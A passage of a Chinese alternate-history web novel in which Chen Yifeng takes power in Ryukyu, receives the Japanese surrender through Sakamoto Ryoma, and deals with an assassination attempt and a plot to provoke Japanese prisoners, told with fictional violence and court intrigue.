“快!快升白旗!”坂本龙马声嘶力竭地大喊,“用旗语告诉他们,我们是日本本土的使者,受岛津家族委托前来议事!” 船员们手忙脚乱地升起白旗,同时打出旗语。两艘商船慢慢靠近,仔细观察着他们的举动。经过反复确认后,两艘商船才放行。 当坂本龙马终于靠近码头,眼前的景象让他彻底呆住了。刺鼻的血腥味和焦臭味扑面而来,空气中弥漫着一股难以形容的腐臭。记忆中那个繁华热闹的港口已经不复存在,到处都是废墟和断壁。 刚一登岸,就遇到了一队华人和琉球龙骧军组成的巡逻队。他们身着统一的制服,手持火枪和长矛,神情警惕地盯着每一个过往的行人。 “日本人!还带着刀!抓起来!”领头的军官一声令下,四十多人立刻围了上来,枪口对准了坂本龙马一行人。 “等等!我们是使者!从鹿儿岛来的!要见尚泰王和陈先生!”坂本龙马连忙解释,同时缓缓举起双手。 巡逻队的军官狐疑地打量着他们,“有什么证明?” 坂本龙马从怀中掏出一封盖着岛津家族印章的信函。军官仔细检查后,才稍稍放松了警惕。 “跟我们走,但是要先交出武器。” 坂本龙马咬了咬牙,解下腰间的佩刀。其他随从也不得不交出武器。 好不容易打消了巡逻队的疑虑,他们被押着往首里城走去。一路上,坂本龙马听着周围卫队的咒骂声,渐渐明白了事情的来龙去脉。 “八嘎!山本清这个疯子!”坂本龙马在心中怒骂,“杀陈逸风就杀他一个,为什么要挑起种族仇恨?” 突然,前方的十字路口冲出两个浑身是血的日本浪人,他们衣衫褴褛,面带惊恐,身后追着二十多个持棍的华人。 “打死他们!这是恶八郎的手下!”人群中爆发出愤怒的吼声。 一个浪人摔倒在地,瞬间被乱棍打成了肉泥。另一个拼命逃窜,最终还是被追上,惨叫声在街道上回荡。 坂本龙马不寒而栗。这些往日谦卑有礼的华人,眼中竟然充满了如此刺骨的仇恨。他们的眼神中透着一种疯狂,仿佛要将所有日本人都碾碎在脚下。 “看什么看?”押送的卫兵冷冷地说,“你们这群畜生,把孙老板的女儿糟蹋致死还分尸,就等着宰相灭你们的种吧!” “宰相?”坂本龙马疑惑道,“琉球什么时候有宰相了?” “井底之蛙!”卫兵不屑地说,“宰相就是陈的陈逸风大人,已经被国王封为帝师兼宰相了!现在整个琉球都是他说了算!” 坂本龙马心中一沉。如果对手是琉球王室,他有十足的把握。但如果是陈逸风...这个神秘莫测的华人,已经用短短几天时间,彻底改变了琉球的局势。 一路走来,他看到无数华人卫队在镇压日本浪人。 第七十四章 维新名臣孤身请命 曾经遍布那霸港的十万日本人,一夜之间仿佛人间蒸发。有的躲进了山里,有的逃上了商船,更多的人则死在了暴民的棍棒之下。 直到到达首里城,他才明白日本人已经陷入了怎样的绝境。城门口站满了全副武装的卫兵,城墙上架着从商船上买来的新式火炮。坂本龙马跟着卫兵到达大殿门外,卫兵示意他在此等候传唤。 “苗烈!”陈逸风的声音从殿内传来,“带火枪队去码头,向勇进号买弹药!以进价让他们供应枪械子弹,想跟我做生意,现在就是表现的时候!” “大人,钱从哪来?”一个年轻的华人军官问道。 “先欠着!”陈逸风不耐烦地挥手,“告诉他们老子是琉球宰相,一个子儿都不会少他们的!快去!” “瑾周信、诸葛林!”他又喊来两个将领,“收拢所有能打的华人,搜集武器,从东西两面包围桦山栗源的军营!中午前不投降就全部屠了!” “蔡瑁将军!听说你以前是水军将领?我给你机会,去招募老水手,组建新的水军!” 蔡瑁激动得热泪盈眶,“多谢宰相!请将缴获的关船赐给我!” “去码头找迈克,拿我的手令!”陈逸风摆摆手。 他坐在殿内,有条不紊地安排着一切。虽然注意到了站在外面的坂本龙马,但并不急着理会。 “端义远!”他喊来支部尚书,“我的宰相印呢?赶紧去刻!还要贴告示,不然百姓怎么知道有我这个官?” “宰相莫怪!”端义远笑道,“已经在挑选材料了。您看是要金印还是玉印?库房里还有缅甸翡翠...” “翡翠?”陈逸风眼前一亮,“莫非是古矿冰透料?水头如何?” “这...下官不懂,只知道是缅甸王室的极品...” “那还不快去!” 在陈逸风的调度下,那霸港开始了战后重建。安全卫队隔离火场清理尸体,官员们收拢居民发放粮食。他还派出一艘荷兰疾翼船,去望海联系明月商行的梁掌柜,为重建筹措物资。 时间一点点过去,坂本龙马依然在耐心等待。他明白,现在的形势对日本极为不利。一个错误的决定,就可能引发更大的灾难。 直到上午十点,一个传令兵打破了沉默。 “报告宰相!山上的日军拒绝投降!瑾周信大人请求火枪队支援,保证中午前拿下军营!” 坂本龙马闻言,迈步走向大殿。殿内灯火通明,陈逸风正端坐在主位上,面色沉静如水。 “陈大人。”坂本龙马躬身行礼,姿态谦卑,“在下有一个不情之请。” 陈逸风放下手中的茶盏,目光如炬地打量着这位日本维新名臣。眼前这个人,身着简单的和服,却浑身上下透着一股豪迈之气,与寻常日本人的拘谨小气截然不同。 “说说看。”陈逸风的声音不疾不徐。 “请允许在下前去劝降桦山栗源。”坂本龙马抬起头,目光灼灼。 殿内一时寂静,只有烛火摇曳的声响。陈逸风眯起眼睛:“你觉得现在还有谈判的余地?” “流血冲突总该及时止损。”坂本龙马的声音坚定而诚恳。 “哼!”陈逸风冷笑一声,茶盏重重落在案几上,“你们想打就打,想停就停?把我华人的性命当什么?十万民众的怒火,岂是一句话就能平息的!” 坂本龙马依旧保持着鞠躬的姿态,额头上渗出细密的汗珠:“陈先生在琉球的威望,足以平息这场风波。您一句话,这些民众自然会誓死追随。” 陈逸风仔细打量着这个年轻人,这话看似恭维,实则暗藏机锋。作为清廷重臣,如今掌控琉球大权,手握军队,这确实是朝廷最忌惮的。 “坂本龙马,”陈逸风缓缓开口,“四国土佐人氏,自幼习剑,后因黑船来航而投身西学...” 每说一个字,坂本龙马的心就沉重一分。对方对自己知之甚详,连一些隐秘之事都了如指掌。他的手心渐渐沁出冷汗,但面上依然保持着镇定。 陈逸风突然起身,在烛光的映照下,他的身影显得格外高大。他走到坂本龙马身边,俯身在其耳边低语:“我给你一个机会。我知道你想让日本避免内战,实现和平变革。但若你敢耍什么花招,我有的是办法让日本陷入混乱。” 坂本龙马浑身一震,仿佛被雷击中一般。对方竟然连自己最深处的心思都看透了。他强压下内心的震惊:“为什么...您为何会知道得如此清楚?” 陈逸风不答,只是淡淡道:“去吧,让他们无条件投降。这是谈判的前提,别挑战我的耐心。”转头吩咐道,“林远渺,带他去军营。一刻钟后若不投降,格杀勿论。” “是!”林远渺应声而出。 待坂本龙马离开,孟明蛇从阴影处走出:“先生,那人方才三次流露杀意,还请多加小心。” “只有两次。”沈达华在一旁补充。 陈逸风不以为意地摆摆手:“想杀我的人多了去了。不过他不会动手,因为我们是同类人。”说着,他的目光转向殿外,一个衣衫褴褛人正被押解着朝他走来。 金长森被带到殿前,双手被铁链束缚,但眼神依然倔强。 “金长森,”陈逸风的声音带着几分玩味,“猜猜我为何要见你?” 金长森揉着被铁链勒红的手腕,苦笑道:“下官已是死囚,能入宰相法眼,无非是还有些利用价值。我知道日本在琉球的暗桩,也知道他们的隐藏资产...” “很好。”陈逸风满意地点头,“交出这些情报,我可以饶你一家性命,甚至保留一半家产。” 金长森闻言,立刻跪地叩首:“下官愿效死命!若是手底下有人马,半月内必为大人筹得二百万两...” 看着金长森离去的背影,陈逸风心中暗喜。有了这笔钱,眼前的困局就好办多了。 与此同时,山顶的庭院内,坂本龙马刚踏入门槛,就见一群剑士跪倒在地。 第七十五章 暗装暴露后的生死交易 庭院中的樱花纷纷扬扬,为这凄凉的场面增添几分凄美。 “坂本龙马君,我等有罪!”桦山栗源等人叩首请罪,额头重重地磕在地上。 坂本龙马环视四周,看着那些惊惶的士兵和平民。有的人眼中含泪,有的人面露绝望,还有的人握紧了刀柄,似乎在等待最后的时刻。 庭院的角落里,一个老妇人正抱着幼童啜泣。孩子的啼哭声划破沉寂的空气,让人心如刀割。 坂本龙马闭上眼睛,深深叹息:“投降吧,这是唯一的出路。” “中原人答应不屠城了吗?”山本清突然跳起,面色狰狞,“我们好不容易才...” “八嘎!”坂本龙马勃然大怒,一个箭步上前,一个过肩摔将山本清狠狠掀翻在地。山本清重重摔在地上,发出一声闷哼。 “你这个蠢货!”坂本龙马怒吼道,“屠杀平民,勾结恶徒,你的脑子都进水了吗!” 众人噤若寒蝉。虽然坂本龙马只是个浪人,但他在维新派中的威望无人能及。连萨摩、长州这等世仇,都在他的调停下握手言和。此刻的坂本龙马,眼中燃烧着怒火,仿佛一头即将暴走的猛兽。 “清点所有军需物资,包括暗藏的。”坂本龙马坐在主位,沉声道,“一刻钟后全部献出。山本清,准备切腹吧。其他人也要有这个觉悟。” 殿内一片死寂,只有檐下风铃的声响在回荡。众武将默默叩首,再无异议。他们知道,这是最后的机会了。 战火终于平息。 陈逸风坐在宫殿内,手中握着日军投降的物资和士兵清单,眼皮沉重得几乎睁不开。油灯的光芒在他脸上投下摇曳的阴影,映照出他眼底深深的疲惫。 “大人,这是最后一批物资清单。”亲兵小心翼翼地将一叠文书放在案几上。 陈逸风微微点头,十二个时辰的鏖战,岛津家的三千陆军折损过半,剩下的也都带伤。他们引以为傲的水军舰队,除了四艘被美军缴获,其余尽数沉入海底。 “把这帮日本兵分成十队,让咱们的卫队看管起来。”陈逸风揉了揉发胀的太阳穴,声音沙哑,“全部去当苦工,让他们先赎罪再说。” “大人英明!”亲兵应声而去。 话音未落,陈逸风的脑袋一歪,直接靠在椅背上睡了过去。案几上的文书散落一地,却无人敢上前收拾。 尚泰王站在一旁,轻声吩咐道:“去准备软轿,小心些,别惊醒了陈大人。” “且慢。”端义远上前一步,压低声音道,“我已经让人收拾好了后宫的偏殿,还挑选了四名擅长按摩的宫女。” 尚泰王眼前一亮:“端大人考虑周到。” 夜色笼罩下的那霸港依旧灯火通明。 码头边,火把映红了半边天。苗烈和迈克正在与洋商谈判,谈判桌上堆满了欠条和契约。 “这批火药,最低一百两银子一箱。”洋商傲慢地说道。 苗烈冷笑一声:“你当我不知道行情?五十两,一分不能多。” “不可能!”洋商拍案而起,“这可是上等火药,就算在上海...” 迈克突然开口,标准的英语让洋商愣住:“先生,您似乎忘了一件事。这里是琉球,不是上海。” 洋商脸色变了又变,最终咬牙道:“成交!” 与此同时,金长森和沈达华正带人清点缴获的物资。日本人的秘密仓库一个接一个被查封,长长的封条贴满一扇扇库门。 “这是第十七个仓库了。”沈达华擦了擦额头的汗水,“没想到岛津家在琉球囤积了这么多军需。” 金长森正要说话,突然听见远处传来喧哗声。原来是琉球官员正挨家挨户宣传新政,动员百姓回城。渐渐地,山间亮起星星点点的火把,宛如天上繁星落入人间。 这就是权力的魅力。陈逸风在美人怀中酣睡,但他建立的势力却从未停歇运转。每一道命令都得到彻底执行,麾下将士的忠诚度更是暴涨。 “陈大人真是奇人。”林远渺站在城墙上,望着繁忙的港口,“短短几日,就让那霸焕然一新。” 身旁的亲兵笑道:“大人,您和蔡瑁将军可是第一批投靠陈大人的将领。” 林远渺摇头:“不,我不是投靠,是真心佩服。” 夜色渐深,街巷中飘起袅袅香火。那是幸存的华人在为陈逸风上香祈福。两百年来,无论明清更迭,这些海外游子都未得到祖国的庇护。 “从今以后,咱们就跟着陈先生干了。”街坊们窃窃私语,“这可是救命的大恩人啊。” 然而就在这看似平静的夜晚,北边礁石密布的海滩上,两个身影正在进行着秘密的谈话。海浪拍打礁石的声音掩盖了他们的对话。 “你听说过新选组吗?”雾隐小鬼低声问道,目光警惕地扫视四周。 “京都那个专门暗杀维新派的新选组?”恶八郎皱眉,“他们怎么会...” “他们已经盯上这里了。”雾隐小鬼打断道,“陈逸风的崛起,让幕府坐不住了。” 恶八郎沉默片刻:“那我们该怎么办?” “等待时机。”雾隐小鬼的声音几乎被海风淹没,“新选组不会贸然出手,他们在等一个合适的机会。” 与此同时,一艘英国商船正悄然驶离那霸港,船帆在月光下泛着银光。这艘船上载着的情报,将为陈逸风带来前所未有的危机。 “这份情报值多少钱?”船长问道。 “比你想象的更多。”情报员露出神秘的微笑,“无论是西方列强还是大清朝廷,都会为之震动。” 当消息传到上海,整个租界都将为之沸腾。一个家族经商的汉人,竟能在海外掀起如此风浪,这对满清统治者而言无异于一记响亮的耳光。 夜风呼啸,海浪滔滔。远处的首里城中,灯火依旧明亮。 后宫偏殿内,陈逸风依旧在沉睡。四名宫女轻声细语地议论着: “听说陈大人只用了一天,就平定了整个那霸。” “是啊,连岛津家的精锐都被打得溃不成军。” “嘘,小声些,别打扰了大人休息。” 宫女们的话语中充满敬畏。她们不知道的是,此刻的陈逸风正陷入一个奇怪的梦境。梦中,他看到了无数张熟悉或陌生的面孔,有的带着敬畏,有的充满恨意,还有的藏着说不清道不明的心思。 第七十六章 新选组的暗影 做了一夜梦的陈逸风睁开眼睛,映入眼帘的是四名衣衫不整的年轻女子。晨光透过纸窗洒落,勾勒出她们姣好的身形。 他愣了一下,脑子里一片空白。身下的榻榻米散发着淡淡的草香,周围的屏风上绘着精美的山水,空气中飘荡着若有若无的脂粉气息。 昨晚发生了什么?为什么会有这么多女人?难道自己... 想到这个可能性,陈逸风心中一阵懊恼。这种好事居然一点记忆都没有,实在是太亏了。他记得昨天忙着处理战后事务,连轴转了一天一夜,最后实在撑不住了... 他悄悄伸出手,正要去触碰身边那名酥胸半露的美人。她的肌肤白皙如玉,红唇微启,呼吸绵长。就在指尖即将触及的瞬间,一个清脆的声音突然响起。 “宰相大人终于转醒!请恕我等失职,不该在值守时睡着。” 话音未落,其他三名侍女也纷纷惊醒,连忙跪地请罪。 陈逸风暗骂一声晦气,好不容易逮到的机会就这么没了。他揉了揉太阳穴,感觉头还有些昏沉。 “都起来吧,这点小事不必如此。”他摆摆手,目光扫过周围陌生的环境,“这地方有点陌生啊?” 一名侍女小心翼翼地回答:“回禀大人,这里是首里城后宫的映雪轩。” 陈逸风顿时冷汗直冒,猛地坐直了身子。后宫?这不是要命吗? “来人!外面谁当值,给我进来!” 话音刚落,孟明蛇和苗烈就推门而入,大脚丫子在地板上踩出一串脚印。两人的表情都不太自然,显然也知道事情的严重性。 “你们是傻子吗?”陈逸风怒道,声音中带着一丝颤抖,“让我睡在后宫,这不是给我找麻烦吗?那些雅流要是知道了,非得把我生吞活剥了不可!” 苗烈苦着脸说:“大人,已经晚了。坂本龙马今早就在南宫门求见,日本人都知道您在这了。” “什么?”陈逸风气得直跺脚,额头上的青筋突突直跳,“这下可好,全完了!” 正骂着,支部尚书端义远带着一群官员匆匆赶来。他们个个神色慌张,显然是得知消息后立刻赶过来的。 “宰相大人息怒,”端义远擦着额头的汗珠,“是不是这些贱婢伺候不周?属下这就让人换...” “放屁!”陈逸风打断他的话,“我还想着怎么开溜呢,你们这不是在害我吗?” 端义远一拍脑袋,连忙解释:“大人多虑了。我们琉球不比大清讲究,宫里的公公都不多见。陛下体恤大人辛劳,送几个美人实属正常。” 陈逸风懒得跟他解释,这些人根本不明白朝堂之争的凶险。他连忙招呼丫鬟帮忙梳洗打扮,期间还不断有官员前来请安。 用过早膳后,他立即下令所有人撤回樱之宿。现在最要紧的是赶紧离开这是非之地,然后去码头会见各国洋商,尤其是美国船长威廉姆。 来到码头时,威廉姆已经等在那里,看到陈逸风后立即迎了上来。 “早安,阁下。”威廉姆微微欠身,“我们是否可以开始谈正事了?” 陈逸风开门见山,从怀中掏出一张条子递给他:“这是去望海明月商行领取二十万两银子的凭证,算是买下勇进号剩余货物。当然,你也可以选择等值的大清商品。” 威廉姆接过条子,仔细端详了一会,不免有些惊讶:“条件是什么?” “尽快返回美国,通过司空澜公使传递最新情报。” 送走威廉姆后,其他提供火力支援的商船船长也纷纷上前。这些洋人个个狮子大开口,每艘船要两万两军费。四十多艘船加起来就是八十多万两,简直是明抢。 “陈先生,”一个留着络腮胡的船长说道,“我们冒着巨大风险支援您,这点军费已经很低了。” “您想想,”另一个洋人更是直言不讳,“有了我们西方势力支持,还有什么事办不成?” 陈逸风心中冷笑。这些洋人确实狂妄,但他们说的也不无道理。如今的世界,确实是西方说了算。他低头思索着对策。 最后,他提出两个方案:要么按要价支付南洋龙元,要么接受明月商行的玉龙令牌,享受特殊待遇。 出乎意料的是,虽然大部分人选择了现金,但六艘法国商船和四艘英国商船却要了令牌。 “我们和诺曼底船长很熟。”他们意味深长地说道。 陈逸风恍然,原来是诺曼底透露了消息。这些人的眼光还算不错,日后必定会让那些短视的商人后悔不已。 谈判持续了整整一天。当最后一艘商船的事务处理完毕时,天色已经渐暗。暮色中的海面泛着粼粼波光,远处传来阵阵汽笛声。 就在陈逸风准备离开码头时,他注意到一个身影一直站在不远处。那人穿着一身墨色和服,腰间别着两把长短刀,正是坂本龙马。 “这日本人已经站了两个时辰了。”孟明蛇低声说,“使者身份,我们也不好赶人。” 坂本龙马见陈逸风注意到自己,立即深深鞠躬:“陈先生,可否赏脸共进晚餐?我准备了一整天,绝非谈判,只是以《域外见闻》读者的身份请教。” 陈逸风冷笑:“你是想让那些洋人看看,一个日本使者对我如此恭敬?用这种方式给我施压?” “确实有这个打算。”坂本龙马坦然承认,目光炯炯有神,“但现在,我只想向西学宗师请教。” 瑾周信突然醒悟:“这是要借刀杀人,让朝廷忌惮先生啊!” 护卫们刷地抽出兵器,刀光在暮色中闪烁。但坂本龙马面不改色,甚至往前迈了一步:“我相信先生的为人,要动手请便。” 陈逸风看着这个滚刀肉,不由得暗暗佩服他的胆识和心机。不愧是日本维新志士,这份魄力确实不凡。 “都给我把家伙收起来!”陈逸风冷声喝道,声音中带着不容置疑的威严,“何人授权你们采取行动?” 第七十七章 晚宴背后的刀光 手下们面面相觑,迟疑片刻后才缓缓放下武器。陈逸风眯起眼睛打量着眼前这个男人。这种威慑对坂本龙马这样的人来说根本没用,反而可能给自己惹来不必要的麻烦。 “真是失礼了。”坂本龙马嘴角微微上扬,“不过这样的见面方式倒也新鲜。希望今晚的晚宴够丰盛,本人今日仅进食一餐,早就饿得前胸贴后背了。” 他的语气轻松,仿佛刚才的刀光剑影不过是一场玩笑。但陈逸风能从他的眼神中看出一丝警惕。 晚宴设在桦山栗源的枯山水园。庭院内假山流水,枫树成荫,在这个战火纷飞的年代显得格外清幽。这里的主人已经作为战犯被关押,庭院便直接转给了坂本龙马。 月光洒在庭院的石板路上,映照出几分萧瑟。远处传来虫鸣,与庭院内的灯火交相辉映。一天时间准备的晚宴,在这个经济崩溃的时期,能搞到这么多美食确实不容易。 鲔鱼寿司整齐地摆放在青花瓷盘中,金枪鱼生鱼片的色泽鲜艳欲滴。望海特产的海胆散发着浓郁的海味,新鲜的鲍鱼切片薄如蝉翼。酥脆的天妇罗金黄诱人,二十多种菜品摆满了整张桌子。 考虑到请的是中国人,每道菜的分量都比寻常日式料理大上许多。清酒、浊酒的酒香四溢,竟然还有从中国运来的女儿红和竹叶青,就连洋人的葡萄酒也一应俱全。 “实在抱歉,那霸现在百废待兴,只能准备这些简陋的食物,怠慢了。”坂本龙马跪坐在榻榻米上,对面只有一个席位。他的姿态恭敬,但眼神中却带着几分深意。 陈逸风大马金刀地坐下,目光在桌上扫过:“简陋?现在难民连稀粥都喝不上,你这比尚泰王的御膳都不差了。” 身着和服的侍女轻步上前,殷勤地为他斟酒。酒水倾泻而下,发出悦耳的声响。 “为了这场晚宴,我动员了三百名渔民和十位商人,费了九牛二虎之力才凑齐这些食材。”坂本龙马又是一个标准的跪拜礼,“还请陈先生不要嫌弃。” 陈逸风看着他这副谦卑的模样,心中冷笑。这些日本人一旦战败,就会使出浑身解数来讨好敌人,希望能减轻惩罚。但坂本龙马不一样。 这个男人在日本近代史上的地位举足轻重。倒幕运动中促成东海四藩结盟,提出大政奉还,创立浪上七略,被誉为日本水军之父。他用最小的代价,把日本从封建时代带入了现代化的进程。 “坂本龙马君。”陈逸风端起酒杯,目光如炬,“你知道自己正在死亡的悬崖边徘徊吗?那些狂热的剑士,会放过你吗?” 这句话让两个侍女吓得浑身发抖,手中的酒壶差点掉落。 坂本龙马筷子停在半空中。这种不祥之言从陈逸风口中说出来,绝不是随口一说。他放下筷子,神色凝重起来。 “关于一个国家的蜕变,需要付出多少鲜血?”陈逸风挥手示意侍女退下,声音低沉,“当权者会轻易放弃自己的权力吗?德川家、岛津家、毛利家,他们会甘心吗?” 提到维新事业,坂本龙马挺直了腰板,眼神中闪过一丝坚定:“陈先生,日本是小国,我们缺乏大陆文化的深远积淀。我们输不起,也没有那么多资源和人口可以浪费。改革势在必行,但流血要最少。” “所以你才左右逢源?”陈逸风冷笑一声,“一边鼓动东海四藩结盟,一边又不想让德川家彻底覆灭?你以为这样就能避免内战?所有势力都会把你当成不可信任的人,失意者会用你的命来泄愤。” 坂本龙马没想到陈逸风对日本局势如此了解,甚至连自己的谋划都一清二楚。他强压下心中的震惊,给自己倒了杯酒压惊。酒水入喉,火辣辣的感觉让他稍微清醒了些。 不能被他牵着鼻子走,必须夺回谈判的主动权。坂本龙马放下酒杯,整理了一下思绪。 “陈先生,您的《域外见闻》今年春天传入日本,荣幸成为首批读者。”他缓缓说道,声音中带着几分真诚,“自从黑船来航后,我们一直渴求西学知识,但所有翻译的西学著作都晦涩难懂。” 庭院内的风轻轻吹过,带来一阵樱花的香气。坂本龙马继续说道:“亚欧本就是两个不同的文明体系,西学传播必然会遇到阻力。我当初学习西学时,就像在看天书。” “但读了您的《域外见闻》后,就像乌云被风吹散,西方世界的每一个细节都清晰可见。尊您为东方西学泰斗,完全合情合理。” 他的语气真挚,但眼神中却飘忽不定。突然话锋一转:“恳请您莅临京都一叙,必定能得到公卿般的礼遇。您的西学推广事业,也会得到整个日本的支持。” 坂本龙马停顿了一下,声音低沉:“如果您在清国遇到任何危险,日本必将倾全国之力保护您,我国大门始终欢迎您的到来。” 陈逸风一口清酒呛在喉咙里,剧烈地咳嗽起来。好一个威胁!表面上是捧他上天,实际是在暗示日本有的是办法让清廷忌惮他,甚至借刀杀人。 这绝对是个强劲对手。不过越是强大的对手,征服起来就越有成就感。 坂本龙马已经豁出去了。从陈逸风对日本政局的分析来看,他完全有能力搅动日本局势。也许不用一兵一卒,光凭三寸不烂之舌就能让脆弱的日本朝局分崩离析。 庭院内的灯火渐渐暗淡,月光却越发明亮。坂本龙马望着天空中的明月,心中暗自下定决心。为了避免内战,为了日本的强盛,就算与他同归于尽又何妨? 夜色渐深,庭院内只剩下两人的呼吸声。这场看似平和的晚宴背后,暗藏着惊涛骇浪。一个是为了日本变革不惜赌上性命的维新志士,一个是掌握着惊人实力的神秘中国人。 深夜的望海街道寂静无声,只有远处传来的海浪声在提醒着这座城市并未沉睡。 第七十八章 刺杀与阴谋 宴席结束后,陈逸风漫步在空旷的街道上。这次来琉球本想低调行事,从尚泰王那里弄到一个官员身份就够了。可谁知道这帮日本人如此疯狂,闹出如此轰动。 “这风不太对劲。”瑾周信突然压低声音,眼睛警惕地扫视着四周的建筑。 陈逸风停下脚步,抬头望向天际。确实,夜风中似乎裹挟着一丝不寻常的气息。街道两旁的灯笼随风摇曳,在地上投下摇摆不定的影子。 “大人,这事怕是瞒不住了。”瑾周信继续道,“再过几天,京城那边就该知道消息了。” 陈逸风没有立即回答,只是轻轻摩挲着腰间的雷明顿铳。他很清楚,自己在琉球的所作所为,每一件都触动了满清朝廷的逆鳞。虽然有美国公民身份护身,但如果满清铁了心要对付他,就这两下子根本不够打。 “砰!” 一声沉闷的枪响突然打破了夜的宁静。 声音不远,就在身后的方向。紧接着,凄厉的尖叫声从枯山水园中传来。 “有埋伏!”护卫们瞬间警觉,纷纷围拢过来,手中的武器已经举起。 陈逸风却猛地一把推开护卫:“别管我!是坂本龙马出事了!快回去!”说着,他已经抽出雷明顿铳,率先向庭院方向冲去。 庭院内已经冒起浓烟,火光透过纸门隐隐可见。五十名配备洋枪的护卫紧随其后,将陈逸风护在中央。烟雾中不时传来打斗声和惨叫声。 孟明蛇第一个冲入庭院,但他没有直接闯入屋内。只见他身形一闪,如灵猫般轻盈地跃上房顶,目光如鹰隼般扫视四周。 “那边!”孟明蛇突然低喝一声,指向北面,“是那个雾隐小鬼!” 一个黑影正在屋顶间快速移动,身法轻盈得不可思议。孟明蛇咬牙切齿:“大人,我去追她!”话音未落,人已经消失在夜色中。 陈逸风带人冲进正厅,浓烟呛得人睁不开眼。待烟雾稍散,眼前的景象让所有人倒吸一口冷气。 坂本龙马浑身是血,斜靠在矮几上,胸口一个弹孔正在不断渗血。他的手中还握着一把短刀,显然曾经奋力反抗过。 “坂本龙马!”陈逸风快步上前,扶住对方摇摇欲坠的身体。 “是...是日本人...新选...”坂本龙马气若游丝,话未说完就昏死过去。 “瑾周信!快找门板,铺上棉被!”陈逸风大声吩咐,“送他去码头,只有洋人商船上的西医能救他!” “苗烈!吹集结号,放焰火!全城搜捕刺客!” 就在这时,窗外传来窸窸窣窣的声响。众人警觉地举起武器,只见一个人影从后院爬了进来。 “陈大人,在下乃是岛津氏麾下的暗影杀手...”那人跪地叩首,“我知道凶手是谁...” 陈逸风二话不说,一脚踹在他脸上:“你师妹雾隐小鬼就是凶手之一,你们是一伙的!” 夜隐鬼王连连磕头,额头撞在地板上发出沉闷的响声:“不是的大人!这贱人已经投敌叛变!我早查清楚了那批火药的来源,是恶八郎!” 正说着,一个原本在角落里抽泣的侍女突然暴起,如同一只敏捷的猎豹般扑向陈逸风。她的指甲在烛光下闪着寒光,直取陈逸风咽喉! “保护大人!” 几名护卫扑上前去,其中一人被划破脖子,瞬间倒地抽搐,片刻后就没了气息。 “啪!啪!” 两声清脆的枪响,陈逸风的雷明顿铳准确命中女忍者的额头和胸口。她的身体僵直了一下,随即重重摔在地上。 “赶紧帮我卸下这身护具!”陈逸风急促地说,“当心上面有剧毒!” 原来他里面穿着一件轻薄的护身皮甲,这是孟明蛇强迫他穿上的,没想到救了他一命。皮甲上一道浅浅的划痕泛着诡异的青色。 外面的喧闹声越来越大,火把的光芒照亮了半边天空。天色渐明时,孟明蛇终于回来了,手里拎着一个被捆得结结实实的人。 “先生,你看我抓到谁了,这孬种半路就招了。”孟明蛇一脸厌恶地看着地上的恶八郎,“火枪是他提供给雾隐小鬼的,他在山洞里还藏了两桶火药。” 陈逸风冷冷看了眼恶八郎:“关起来,把他知道的都撬出来。” 这时,瑾周信匆匆赶来:“大人,坂本龙马已经送到商船上了。船上的西医说情况很危险,但还有救。” 陈逸风点点头,这一夜的变故,让他意识到形势比他想象的更加危险。不过现在不是担心这些的时候,当务之急是救活坂本龙马。 如果坂本龙马死了,那些刺客一定会把罪名栽赃到他头上。而坂本龙马临昏迷前说的“新选”,很可能指的是德川家最擅长暗杀的新选组。这意味着,整个事件背后牵扯的势力远比表面看起来要复杂得多。 天完全亮了。陈逸风站在庭院中,看着地上未干的血迹和散落的弹壳。 “大人,”瑾周信走到他身边,“要不要派人去打探一下新选组的动向?” 陈逸风摇摇头:“不,先等等看。新选组如果真要动手,不会这么草率。今晚这事,恐怕另有隐情。” 就在这时,一个护卫匆匆跑来:“大人,城外发现了雾隐小鬼的踪迹!” 陈逸风眯起眼睛:“她逃向哪个方向?” “北面,好像是往潮州藩去了。” “潮州藩...”陈逸风若有所思,“看来岛津家也掺和进来了。” 这盘棋,远比他想象的要复杂得多。各方势力盘根错节,每一步都可能踩在地雷上。但现在已经没有退路了,他只能继续走下去。 “通知下去,”陈逸风转身走向屋内,“加强戒备,所有人准备战斗。” 望海的夜色笼罩着一片恐慌。 街道上,传令兵的脚步声此起彼伏,巡逻的卫队来回穿梭。 “喂,你听说了吗?”一个蜷缩在角落的日本商人扯了扯身边人的衣袖,“外面的华人士兵都换上了战斗服装。” “嘘,小声点!”另一个商人紧张地环顾四周,压低声音道,“我刚才看到他们在搬运火药和弹药,情况不太对劲。” “该死,这些华人半夜不睡,到底想干什么?”一个身材矮小的商人擦了擦额头的冷汗。 “会不会...会不会是要对我们下手?”有人颤抖着说,“我听说中国南方那边,清军和太平军每攻下一座城池,就会大开杀戒...” 第七十九章 夜袭 恐慌在人群中迅速蔓延。黑暗中,不少日本人开始悄悄寻找防身武器,有的削尖竹竿,有的抓起木棒,甚至有人拆下门板准备当盾牌。 那群岛国居民里,最惊慌的莫过于那些被分散关押的士兵。虽然每个集中营至少也有两百多人,但正是这些训练有素的剑士,此刻却显得最为不安。 位于码头附近的一处院落内,几名日军高级将领正在低声商议。 “桦山大人,这些中原人到底要做什么?”山本清焦躁地在房间里来回踱步,“我总觉得今晚不太对劲。” 自从日军投降后,桦山栗源等三名高级武将就被看管在这里。虽然免于苦力劳动,但每天也只能吃两顿稀粥,曾经意气风发的剑士们如今都显得有些憔悴。 桦山栗源靠在墙边:“别自己吓自己,陈逸风骨子里是个文人,从他的书信就能看出。他虽然恨我们,但绝不会做出屠城这种事。” “可是...”山本清还想说什么,突然一道寒光破空而来。 山本清本能地向后一闪,一枚手里剑“砰”地钉在木板上,距离他的眼睛只有一寸。冷汗顺着他的脸颊滑落。 “东瀛武士的暗器?”山本清定睛一看,发现手里剑上缠着一张纸条。 他颤抖着手展开纸条,整个人瞬间暴怒,一拳砸碎木门,抓起一根立柱生生掰断。木屑四溅,灰尘弥漫。 “该死的中原人杀了坂本大人!他们要血洗这座城了!”山本清咆哮着冲出去,“兄弟们集合,我们不能坐以待毙!” 山本清挥舞着临时制成的“长枪”,已经有不少士兵开始聚集在他身边。月光下,那些惊恐的面孔渐渐被愤怒取代。 竹中井上爬过去捡起纸条,上面潦草写着“陈逸风暗杀坂本龙马,即将血洗这片区域”。 就在这时,房顶突然轰然坍塌,竹中井上被埋在废墟之下。灰尘弥漫中,传来他的痛苦呻吟。 “快救人!”桦山栗源焦急地喊道,这位曾经叱咤风云的将军此刻也显得有些手足无措。 在众人帮助下,竹中井上很快被救出。他揉着头上的包,急切地说:“大人,这是阴谋!陈逸风已经是琉球宰相,掌控全岛,他根本没理由这么做!” “没错,这背后一定有其他势力在搞鬼。”桦山栗源恍然大悟,立即高喊,“我是桦山栗源,忠于我的士兵和百姓速速集合!” 